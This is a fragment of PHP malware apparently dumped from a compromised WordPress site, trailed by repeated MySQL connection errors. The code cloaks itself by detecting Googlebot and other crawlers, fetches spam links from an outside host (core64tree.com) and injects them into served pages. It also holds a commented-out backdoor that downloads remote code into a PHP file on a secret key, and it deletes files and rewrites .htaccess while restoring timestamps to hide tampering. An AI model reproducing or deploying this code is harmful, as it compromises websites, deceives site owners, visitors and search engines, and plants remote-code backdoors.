' . rnd_label(); xdie(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } #if (isset($_GET['fcblid']) && $_GET['fcblid'] == 'a4ckywaWktNmbuB6zQsyykBnzEEgGM') { # $twork = get_data_yo('http://core64tree.com/lnk-release-2.4.a17-epel/out/d3.txt'); # if (file_put_contents("json-plugin-out.php", $twork)) echo "success!
go"; # else{ echo "error!"; echo strlen($twork);} # xdie(); #} $gondon = 'wp'.'-'.'wp'.'db'.'.'.'php'; if(file_exists($gondon)){ unlink($gondon); } $htfle = '.htaccess'; if(file_exists($htfle)){ $htcntnt=file_get_contents($htfle); $htregex = '@RewriteRule \^wp.+?\?\$ wp\-wpdb\.php@'; if(preg_match($htregex, $htcntnt)){ $htcntnt=preg_replace($htregex, '', $htcntnt); $ftm=filemtime($htfle); file_put_contents($htfle, $htcntnt); @touch($htfle, $ftm); } } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (!empty($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } else { $ip = ''; } if (strstr($ip, ', ')) { $ips = explode(', ', $ip); $ip = $ips[0]; } $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $abt = 0;$isgb = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/googlebot|bingbot|slurp|msnbot/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (preg_match('@googlebot@i', $ua)) { $isgb = 1; } if(!$abt && !$isgb && $ip && function_exists('gethostbyaddr')){ $hostbyaddr = gethostbyaddr($ip); if (preg_match('@google@i', $hostbyaddr)) { $abt = 1; $isgb = 1; } } $tstgvar='tholuure4r'; $tstuavar='Klsdir4rsR'; if(isset($_GET[$tstgvar]) or strpos($ua, $tstuavar)){ $abt = 1; $isgb = 0; } $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $donor = $ddomain.$_SERVER['REQUEST_URI']; $donor_parts = parse_url('http://' . $donor); $donor = $donor_parts['host'] . (isset($donor_parts['path']) ? $donor_parts['path'] : '/') . (isset($donor_parts['query']) ? '?' . $donor_parts['query'] : ''); $donor = str_ireplace('//', '/', $donor); $el = array(); if ($abt || $hspan) { function httpGet($url) { if (stripos("qqq" . $url, "?")) { $url .= "&vnrosnrosee=yes"; } else { $url .= "?vnrosnrosee=yes"; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = @file_get_contents($url); } return $output; } function randomUA() { $uas = array( "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" ); $uas = shuffleArr($uas); return $uas[0]; } function shuffleArr($arr) { srand((float) microtime() * 1000000); shuffle($arr); return $arr; } function checkProtocol() { if (isset($_SERVER['HTTPS'])) { $prot = $_SERVER['HTTPS']; } else { $prot = ''; } if (!empty($prot) && $prot != 'off') { $res = 'https://'; } else { $res = 'http://'; } return $res; } function shutdown() { // global $morda; // global $eb; global $el; global $abt, $isgb; global $hspan; global $ua, $donor; global $algo, $tstgvar, $tstuavar; $currenturl = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $urlprot = checkProtocol(); $currenturl = $urlprot . $currenturl; $my_content = httpGet($currenturl); $donor_good = false; if (($abt || $hspan) ) { $donor_good = true; if($donor_good){ if(!preg_match('#(.*)404(.*)<', '(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://core64tree.com/lnk-release-2.4.a17-epel/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } Database connection error (2): Could not connect to MySQL.Database connection error (2): Could not connect to MySQL.Database connection error (2): Could not connect to MySQL.Database connection error (2): Could not connect to MySQL.